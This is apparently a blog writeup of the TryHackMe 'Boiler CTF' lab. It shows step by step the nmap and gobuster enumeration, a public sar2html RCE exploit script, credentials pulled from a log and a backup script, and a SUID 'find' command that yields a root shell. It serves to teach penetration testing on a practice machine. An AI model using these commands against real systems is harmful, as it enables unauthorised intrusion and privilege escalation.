> ## Content Index > Fetch the complete content index at: https://taiwanding.com/llms.txt > Use this file to discover other available public pages before exploring further. # TryHackMe Boiler CTF Writeup: sar2html RCE to SUID find Root - URL: https://taiwanding.com/en/tryhackme-boiler-ctf-writeup/ - Published: 2025-10-12T04:56:31.000Z - Updated: 2026-07-15T02:49:56.000Z - Author: Kevin Chen - Tags: #en, #en-ctf ## Room Information - **Platform**: TryHackMe - **Room Name**: Boiler CTF - **Difficulty**: Medium - **Room Link**: [https://tryhackme.com/room/boilerctf2](https://tryhackme.com/room/boilerctf2?ref=taiwanding.com) - **Description**: Intermediate level CTF. Just enumerate, you'll get there. ## Task 1: Questions #1 ### Initial Recon #### Nmap Full Port Scan ```bash nmap -Pn 10.201.20.25 -T4 -p- ``` **Scan results**: ``` PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 10000/tcp open snet-sensor-mgmt 55007/tcp open unknown ``` #### Detailed Service Scan ```bash nmap -sV -sC -p 21,80,10000,55007 10.201.20.25 -T4 ``` ### Q1: File extension after anon login **FTP Anonymous login**: ```bash ftp 10.201.20.25 Name: Anonymous Password: (just press Enter) ``` **List hidden files**: ```bash ftp> ls -a drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 . drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 .. -rw-r--r-- 1 ftp ftp 74 Aug 21 2019 .info.txt ``` **Download and view the file**: ```bash ftp> get .info.txt ftp> exit cat .info.txt # Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl! ``` This is **ROT13-encoded**. Decoded, it reads: ``` Just wanted to see if you find it. Lol. Remember: Enumeration is the key! ``` **Answer**: `txt` ### Q2: What is on the highest port? From the nmap scan results, the highest port is **55007**. **Answer**: `55007` ### Q3: What's running on port 10000? ```bash nmap -sV -p 10000 10.201.20.25 ``` Or visit it in a browser: ``` http://10.201.20.25:10000 ``` It turns out to be a **Webmin** service. **Answer**: `webmin` ### Q4: Can you exploit the service running on that port? (yay/nay answer) I tried to exploit the Webmin service, but couldn't pull it off. The real way in lies with the other services. **Answer**: `nay` ### Q5: What's CMS can you access? #### Web Directory Enumeration First, visit the HTTP service (port 80): ``` http://10.201.20.25 ``` I found a Joomla CMS, then ran directory enumeration with **gobuster**: ```bash gobuster dir -u http://10.201.20.25/joomla/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 ``` **Enumeration results** (some of the key directories): ``` /_archive (Status: 301) [--> http://10.201.20.25/joomla/_archive/] /_database (Status: 301) [--> http://10.201.20.25/joomla/_database/] /_files (Status: 301) [--> http://10.201.20.25/joomla/_files/] /_test (Status: 301) [--> http://10.201.20.25/joomla/_test/] ← important! /administrator (Status: 301) [--> http://10.201.20.25/joomla/administrator/] /components (Status: 301) [--> http://10.201.20.25/joomla/components/] /images (Status: 301) [--> http://10.201.20.25/joomla/images/] ... ``` #### Finding sar2html Visit the `_test` directory: ``` http://10.201.20.25/joomla/_test/ ``` Inside is a tool called **sar2html**: ``` http://10.201.20.25/joomla/_test/index.php ``` **Key points**: - This is not a standard Joomla installation - The `_test` directory contains dev/test tooling - sar2html is a third-party tool that may be vulnerable **Answer**: `sar2html` **Important tip**: remember to enumerate! Running thorough directory scans with tools like gobuster, dirb, or ffuf is the key to uncovering hidden functionality and potential attack surface. ### Q6: Keep enumerating, you'll know when you find it. This question needs no answer; it's just a hint to keep enumerating. **Answer**: No answer needed ### Q7: The interesting file name in the folder? #### Hunting for a sar2html Exploit ```bash searchsploit sar2html ``` **Results**: ``` sar2html 3.2.1 - 'plot' Remote Code Execution | php/webapps/49344.py Sar2HTML 3.2.1 - Remote Command Execution | php/webapps/47204.txt ``` #### Download and Run the Exploit ```bash searchsploit -m 49344 python 49344.py ``` **Run a command**: ``` Enter The url => http://10.201.20.25/joomla/_test/index.php Command => ls ``` **Output**: ``` HPUX Linux SunOS index.php log.txt ← an interesting file! sar2html sarFILE ``` **View log.txt**: ``` Command => cat log.txt ``` **Contents**: ``` Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22. Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22. Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: superduperp@$$ Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0) Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824 Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating. ``` **Credentials found**: ``` Username: basterd Password: superduperp@$$ ``` **Answer**: `log.txt` ## Task 2: Questions #2 ### Log In with the basterd Credentials ```bash ssh basterd@10.201.20.25 Password: superduperp@$$ ``` After logging in successfully, keep enumerating on the system. ### Q1: Where was the other users pass stored (no extension, just the name)? In basterd's home directory (or elsewhere), I found a **backup script** containing another user's password. **Snippet of the script**: ```bash REMOTE=1.2.3.4 SOURCE=/home/stoner TARGET=/usr/local/backup LOG=/home/stoner/bck.log USER=stoner #superduperp@$$no1knows ← the password is in the comment! ``` **Second set of credentials found**: ``` Username: stoner Password: superduperp@$$no1knows ``` **Answer**: `backup` ### Q2: user.txt Log in with the stoner credentials: ```bash ssh stoner@10.201.20.25 Password: superduperp@$$no1knows ``` **Find the flag**: ```bash stoner@Vulnerable:~$ ls -a . .. .cache .nano .secret stoner@Vulnerable:~$ cat .secret Redacted ``` **Answer**: Redacted ### Q3: What did you exploit to get the privileged user? #### Privilege Escalation Enumeration **Check sudo privileges**: ```bash sudo -l ``` **Output**: ``` User stoner may run the following commands on Vulnerable: (root) NOPASSWD: /NotThisTime/MessinWithYa ``` This is a fake sudo privilege and can't be exploited. **Find SUID binaries**: ```bash find / -perm -4000 -type f 2>/dev/null ``` **Key finding**: ``` /usr/bin/find ← find with the SUID bit set! ``` #### Privilege Escalation via SUID find ```bash /usr/bin/find . -exec /bin/sh -p \; -quit ``` **Escalation successful**: ```bash # whoami root # id uid=1000(stoner) gid=1000(stoner) euid=0(root) groups=1000(stoner),... ``` **Answer**: `find` ### Q4: root.txt ```bash # cat /root/root.txt Redacted ``` **Answer**: Redacted ## Technical Highlights ### 1\. **Enumeration Is the Key** - FTP anonymous login revealed a hidden file (`.info.txt`) - Web directory enumeration revealed the Joomla CMS - Filesystem enumeration revealed the backup script and the SUID binary ### 2\. **Exploitation** - **sar2html 3.2.1 RCE** (CVE-2019-15949) - Remote command execution via the `plot` parameter - Used this vulnerability to read the sensitive file `log.txt` ### 3\. **Privilege Escalation** - **SUID find privesc** - The `find` binary has the SUID bit set - Used the `-exec` parameter together with `/bin/sh -p` to get a root shell ## Lessons Learned This CTF is a perfect illustration of the phrase "**Enumeration is the key**" — every stage demands careful enumeration: 1. Port and service enumeration reveals the attack surface 2. Web enumeration finds the vulnerable CMS 3. Filesystem enumeration finds credentials and the privesc path Getting root through a clever abuse of SUID find proves just how powerful the fundamentals can be in a real engagement. One last note — here are the rabbit holes and hints you'll run into on this box: - robots.txt: that string, once decoded, gives you the MD5 of "kidding" (first binary-coded decimal, then base64) - /joomla/\_database: you get Lwuv oguukpi ctqwpf. Decode it with ROT. | ↑↓ | ↑↓ | | --------- | ------------------- | | \[A-Z\]+2 | Just messing around |